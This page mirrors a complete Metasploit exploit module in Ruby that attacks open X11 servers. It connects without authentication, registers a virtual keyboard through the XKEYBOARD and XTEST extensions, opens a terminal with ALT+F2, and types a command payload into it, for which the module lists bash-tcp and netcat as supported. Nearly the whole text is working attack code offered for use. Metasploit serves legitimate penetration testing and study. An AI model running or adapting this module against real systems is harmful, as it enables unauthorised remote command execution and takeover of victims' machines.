Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/x11/x11_keyboard_exec.rb
24423 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
include Msf::Exploit::Remote::Tcp
9
10
KB_KEYS = {
11
'1' => "\x0a",
12
'2' => "\x0b",
13
'3' => "\x0c",
14
'4' => "\x0d",
15
'5' => "\x0e",
16
'6' => "\x0f",
17
'7' => "\x10",
18
'&' => "\x10",
19
'8' => "\x11",
20
'9' => "\x12",
21
'(' => "\x12",
22
'0' => "\x13",
23
')' => "\x13",
24
'-' => "\x14",
25
'=' => "\x15",
26
'q' => "\x18",
27
'w' => "\x19",
28
'e' => "\x1a",
29
'r' => "\x1b",
30
't' => "\x1c",
31
'y' => "\x1d",
32
'u' => "\x1e",
33
'i' => "\x1f",
34
'o' => "\x20",
35
'p' => "\x21",
36
'[' => "\x22",
37
'{' => "\x22",
38
']' => "\x23",
39
'}' => "\x23",
40
'a' => "\x26",
41
's' => "\x27",
42
'd' => "\x28",
43
'f' => "\x29",
44
'g' => "\x2a",
45
'h' => "\x2b",
46
'j' => "\x2c",
47
'k' => "\x2d",
48
'l' => "\x2e",
49
';' => "\x2f",
50
':' => "\x2f",
51
"'" => "\x30",
52
'"' => "\x30",
53
'`' => "\x31",
54
'~' => "\x31",
55
'lshift' => "\x32",
56
'\\' => "\x33",
57
'|' => "\x33",
58
'z' => "\x34",
59
'x' => "\x35",
60
'c' => "\x36",
61
'v' => "\x37",
62
'b' => "\x38",
63
'n' => "\x39",
64
'm' => "\x3a",
65
',' => "\x3b",
66
'<' => "\x3b",
67
'.' => "\x3c",
68
'>' => "\x3c",
69
'/' => "\x3d",
70
'*' => "\x3f",
71
'alt' => "\x40",
72
' ' => "\x41",
73
'f2' => "\x44"
74
}
75
76
def initialize(info = {})
77
super(
78
update_info(
79
info,
80
'Name' => 'X11 Keyboard Command Injection',
81
'Description' => %q{
82
This module exploits open X11 servers by connecting and registering a
83
virtual keyboard. The virtual keyboard is used to open an xterm or gnome
84
terminal and type and execute the specified payload.
85
},
86
'Author' => [
87
'xistence <xistence[at]0x90.nl>'
88
],
89
'Privileged' => false,
90
'License' => MSF_LICENSE,
91
'Payload' => {
92
'DisableNops' => true,
93
'Compat' => {
94
'PayloadType' => 'cmd cmd_bash',
95
'RequiredCmd' => 'gawk bash-tcp python netcat'
96
}
97
},
98
'Platform' => ['unix'],
99
'Arch' => ARCH_CMD,
100
'Targets' => [
101
['xterm (Generic)', {}],
102
['gnome-terminal (Ubuntu)', {}],
103
],
104
'DisclosureDate' => '2015-07-10',
105
'DefaultTarget' => 0,
106
'References' => [
107
[ 'CVE', '1999-0526' ]
108
],
109
'Notes' => {
110
'Stability' => [CRASH_SAFE],
111
'SideEffects' => [SCREEN_EFFECTS],
112
'Reliability' => [REPEATABLE_SESSION]
113
}
114
)
115
)
116
117
register_options([
118
Opt::RPORT(6000),
119
OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])
120
])
121
end
122
123
def xkeyboard_key
124
req = ''
125
req << @xkeyboard_opcode
126
req << "\x05" # Extension minor: 5 (LatchLockState)
127
req << "\x04\x00" # Request length: 4
128
req << "\x00\x01" # DeviceSpec: 0x0100 (256)
129
req << "\x00" # affectModLocks: 0
130
req << "\x00" # modLocks: 0
131
req << "\x01" # lockGroup: True
132
req << "\x00" # groupLock: 0
133
req << "\x00" # affectModLatches: 0
134
req << "\x00" # Unused
135
req << "\x00" # latchGroup: False
136
req << "\x00\x00" # groupLatch: 0
137
req << "\x00" # Undecoded
138
return req
139
end
140
141
def press_key(key)
142
req = xkeyboard_key
143
144
req << @xtest_opcode
145
req << "\x02" # Extension minor: 2 (FakeInput)
146
req << "\x09\x00" # Request length: 9
147
req << "\x02" # Press key (Type: 2)
148
req << key # What key to press
149
req << "\x04\x00" # Unused?
150
req << "\x00\x00\x00\x00" # Time
151
req << "\x00\x00\x00\x00" # Root
152
req << "\x07\x00\x07\x00" # Unused?
153
req << "\x88\x04\x02\x00" # Unused?
154
# req << "\x00\x01" # rootX: 256
155
# req << "\xf5\x05" # rootY: 1525
156
req << "\x00\x00" # rootX: 0
157
req << "\x00\x00" # rootY: 0
158
req << "\x00\x00\x00\x00" # Unused?
159
req << "\x00\x00\x00" # Unused?
160
req << "\x00" # deviceid: 0
161
162
req << xkeyboard_key
163
164
req << "\x2b" # Opcode 43: GetInputFocus
165
req << "\x00" # Unused
166
req << "\x01\x00" # Request length: 1
167
168
sock.put(req)
169
170
res = sock.get_once
171
172
# Response should give 1 on first byte (Success)
173
unless res && res[0, 1] == "\x01"
174
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
175
end
176
end
177
178
def release_key(key)
179
req = xkeyboard_key
180
181
req << @xtest_opcode
182
req << "\x02" # Extension minor: 2 (FakeInput)
183
req << "\x09\x00" # Request length: 9
184
req << "\x03" # Release key (Type: 3)
185
req << key # What key to release
186
req << "\x04\x00" # Unused?
187
req << "\x00\x00\x00\x00" # Time
188
req << "\x00\x00\x00\x00" # Root
189
req << "\x07\x00\x07\x00" # Unused?
190
req << "\x88\x04\x02\x00" # Unused?
191
# req << "\x00\x01" # rootX: 256
192
# req << "\xf5\x05" # rootY: 1525
193
req << "\x00\x00" # rootX: 0
194
req << "\x00\x00" # rootY: 0
195
req << "\x00\x00\x00\x00" # Unused?
196
req << "\x00\x00\x00" # Unused?
197
req << "\x00" # deviceid: 0
198
199
req << xkeyboard_key
200
201
req << "\x2b" # Opcode 43: GetInputFocus
202
req << "\x00" # Unused
203
req << "\x01\x00" # Request length: 1
204
205
sock.put(req)
206
207
res = sock.get_once
208
209
# Response should give 1 on first byte (Success)
210
unless res && res[0, 1] == "\x01"
211
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
212
end
213
end
214
215
def type_command(command)
216
# Specify the special keys which need to have shift pressed first to type
217
specialkeys = '<>{}|"&()'.chars
218
values = command.chars
219
values.each do |value|
220
key = KB_KEYS[value]
221
# Special keys need a shift pressed to be typed
222
if Regexp.union(specialkeys) =~ value
223
press_key(KB_KEYS['lshift']) # [lshift]
224
press_key(key)
225
release_key(KB_KEYS['lshift'])
226
release_key(key)
227
# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
228
elsif value =~ /[A-Z]/
229
press_key(KB_KEYS['lshift']) # [lshift]
230
press_key(KB_KEYS[value.downcase])
231
release_key(KB_KEYS['lshift'])
232
release_key(KB_KEYS[value.downcase])
233
# All normal keys which are not special keys or uppercase characters
234
else
235
press_key(key)
236
release_key(key)
237
end
238
end
239
# Send an enter
240
press_key("\x24") # [enter]
241
release_key("\x24") # [enter]
242
end
243
244
def send_msg(sock, data)
245
sock.put(data)
246
data = ''
247
begin
248
read_data = sock.get_once(-1, 1)
249
until read_data.nil?
250
data << read_data
251
read_data = sock.get_once(-1, 1)
252
end
253
rescue EOFError => e
254
vprint_error(e.message)
255
end
256
data
257
end
258
259
def exploit
260
connect
261
262
print_status("#{rhost}:#{rport} - Register keyboard")
263
264
req = "\x6c" # Byte order (Little-Endian)
265
req << "\x00" # Unused
266
req << "\x0b\x00" # Protocol major version: 11
267
req << "\x00\x00" # Protocol minor version: 0
268
req << "\x00\x00" # Authorization protocol name length: 0
269
req << "\x00\x00" # Authorization protocol data length: 0
270
req << "\x00\x00" # Unused
271
272
# Retrieve the whole X11 details response
273
res = send_msg(sock, req)
274
275
# Response should give 0x01 in first byte (Success)
276
unless res && res[0, 1] == "\x01"
277
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
278
end
279
280
# Keyboard registration
281
req = "\x62" # Opcode 98: QueryExtension
282
req << "\x00" # Unused
283
req << "\x05\x00" # Request length: 5
284
req << "\x09\x00" # Name length: 9
285
req << "\x60\x03" # Unused?
286
req << 'XKEYBOARD' # Name
287
req << "\x00\x00\x00" # Unused, padding?
288
289
# Retrieve the whole X11 details response
290
res = send_msg(sock, req)
291
292
# Response should give 0x01 in first byte (Success)
293
if res && res[0, 1] == "\x01"
294
@xkeyboard_opcode = res[9, 1] # Retrieve the XKEYBOARD opcode
295
else
296
# puts res.inspect
297
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")
298
end
299
300
req = ''
301
req << @xkeyboard_opcode
302
req << "\x00" # Extension minor: 0 (UseExtension)
303
req << "\x02\x00" # Request length: 2
304
req << "\x01\x00" # Wanted Major: 1
305
req << "\x00\x00" # Wanted Minor: 0
306
307
# Retrieve the whole X11 details response
308
res = send_msg(sock, req)
309
310
unless res && res[0, 1] == "\x01"
311
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
312
end
313
314
req = "\x62" # Opcode 98: QueryExtension
315
req << "\x00" # Unused
316
req << "\x06\x00" # Request length: 6
317
req << "\x0f\x00" # Name length: 15
318
req << "\x00\x00" # Unused
319
req << 'XInputExtension' # Name
320
req << "\x00" # Unused, padding?
321
322
# Retrieve the whole X11 details response
323
res = send_msg(sock, req)
324
325
# Response should give 0x01 in first byte (Success)
326
unless res && res[0, 1] == "\x01"
327
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
328
end
329
330
req = "\x62" # Opcode 98: QueryExtension
331
req << "\x00" # Unused
332
req << "\x04\x00" # Request length: 4
333
req << "\x05\x00" # Name length: 5
334
req << "\x00\x00" # Unused
335
req << 'XTEST' # Name
336
req << "\x00\x00\x00" # Unused, padding?
337
338
# Retrieve the whole X11 details response
339
res = send_msg(sock, req)
340
341
# Response should give 0x01 in first byte (Success)
342
if res && res[0, 1] == "\x01"
343
@xtest_opcode = res[9, 1] # Retrieve the XTEST opcode
344
else
345
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
346
end
347
348
req = "\x62" # Opcode 98: QueryExtension
349
req << "\x00" # Unused
350
req << "\x08\x00" # Request length
351
req << "\x17\x00" # Name length
352
req << "\x00\x00" # Unused
353
req << 'Generic Event Extension' # Name
354
req << "\x00" # Unused, padding?
355
356
# Retrieve the whole X11 details response
357
res = send_msg(sock, req)
358
359
# Response should give 0x01 in first byte (Success)
360
if res && res[0, 1] == "\x01"
361
@genericevent_opcode = res[9, 1] # Retrieve the Generic Event Extension opcode
362
else
363
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
364
end
365
366
req = ''
367
req << @genericevent_opcode
368
req << "\x00" # Extension minor: 0 (QueryVersion)
369
req << "\x02\x00" # Request length: 2
370
req << "\x01\x00" # Client major version: 1
371
req << "\x00\x00" # Client minor version: 0
372
373
# Retrieve the whole X11 details response
374
res = send_msg(sock, req)
375
376
# Response should give 0x01 in first byte (Success)
377
unless res && res[0, 1] == "\x01"
378
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
379
end
380
381
req = ''
382
req << @xtest_opcode
383
req << "\x00" # Extension minor: 0 (GetVersion)
384
req << "\x02\x00" # Request length: 2
385
req << "\x02\x00" # Major version: 2
386
req << "\x02\x00" # Minor version: 2
387
388
# Retrieve the whole X11 details response
389
res = send_msg(sock, req)
390
391
# Response should give 0x01 in first byte (Success)
392
unless res && res[0, 1] == "\x01"
393
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
394
end
395
396
req = "\x65" # Opcode 101: GetKeyboardMapping
397
req << "\x00" # Unused
398
req << "\x02\x00" # Request length: 2
399
req << "\x08" # First keycode: 8
400
req << "\xf8" # Count: 248
401
req << "\x02\x00" # Unused?
402
403
# Retrieve the whole X11 details response
404
res = send_msg(sock, req)
405
406
# Response should give 0x01 in first byte (Success)
407
unless res && res[0, 1] == "\x01"
408
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
409
end
410
411
req = ''
412
req << @xkeyboard_opcode
413
req << "\x08" # Extension minor: 8 (GetMap)
414
req << "\x07\x00" # Request length: 7
415
req << "\x00\x01" # Device spec: 0x0100 (256)
416
req << "\x07\x00" # Full: 7
417
req << "\x00\x00" # Partial: 0
418
req << "\x00" # firsType: 0
419
req << "\x00" # nTypes: 0
420
req << "\x00" # firstKeySym: 0
421
req << "\x00" # nKeySym: 0
422
req << "\x00" # firstKeyAction: 0
423
req << "\x00" # nKeysActions: 0
424
req << "\x00" # firstKeyBehavior: 0
425
req << "\x00" # nKeysBehavior: 0
426
req << "\x00\x00" # virtualMods: 0
427
req << "\x00" # firstKeyExplicit: 0
428
req << "\x00" # nKeyExplicit: 0
429
req << "\x00" # firstModMapKey: 0
430
req << "\x00" # nModMapKeys: 0
431
req << "\x00" # firstVModMapKey: 0
432
req << "\x00" # nVModMapKeys: 0
433
req << "\x00\x00" # Unused, padding?
434
435
# Retrieve the whole X11 details response
436
res = send_msg(sock, req)
437
438
# Response should give 0x01 in first byte (Success)
439
unless res && res[0, 1] == "\x01"
440
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
441
end
442
443
# Press ALT+F2 to start up "Run application"
444
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
445
press_key(KB_KEYS['alt'])
446
press_key(KB_KEYS['f2'])
447
release_key(KB_KEYS['alt'])
448
release_key(KB_KEYS['f2'])
449
450
# Wait X seconds to open the dialog
451
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
452
Rex.sleep(datastore['TIME_WAIT'])
453
454
if datastore['TARGET'] == 0
455
# Start a xterm terminal
456
print_status("#{rhost}:#{rport} - Opening xterm")
457
type_command('xterm')
458
else
459
# Start a Gnome terminal
460
print_status("#{rhost}:#{rport} - Opening gnome-terminal")
461
type_command('gnome-terminal')
462
end
463
464
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
465
# Wait X seconds to open the terminal
466
Rex.sleep(datastore['TIME_WAIT'])
467
468
# "Type" our payload and execute it
469
print_status("#{rhost}:#{rport} - Typing and executing payload")
470
command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"
471
472
type_command(command)
473
474
handler
475
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
476
print_error("#{rhost}:#{rport} - #{e.message}")
477
ensure
478
disconnect
479
end
480
end
481
482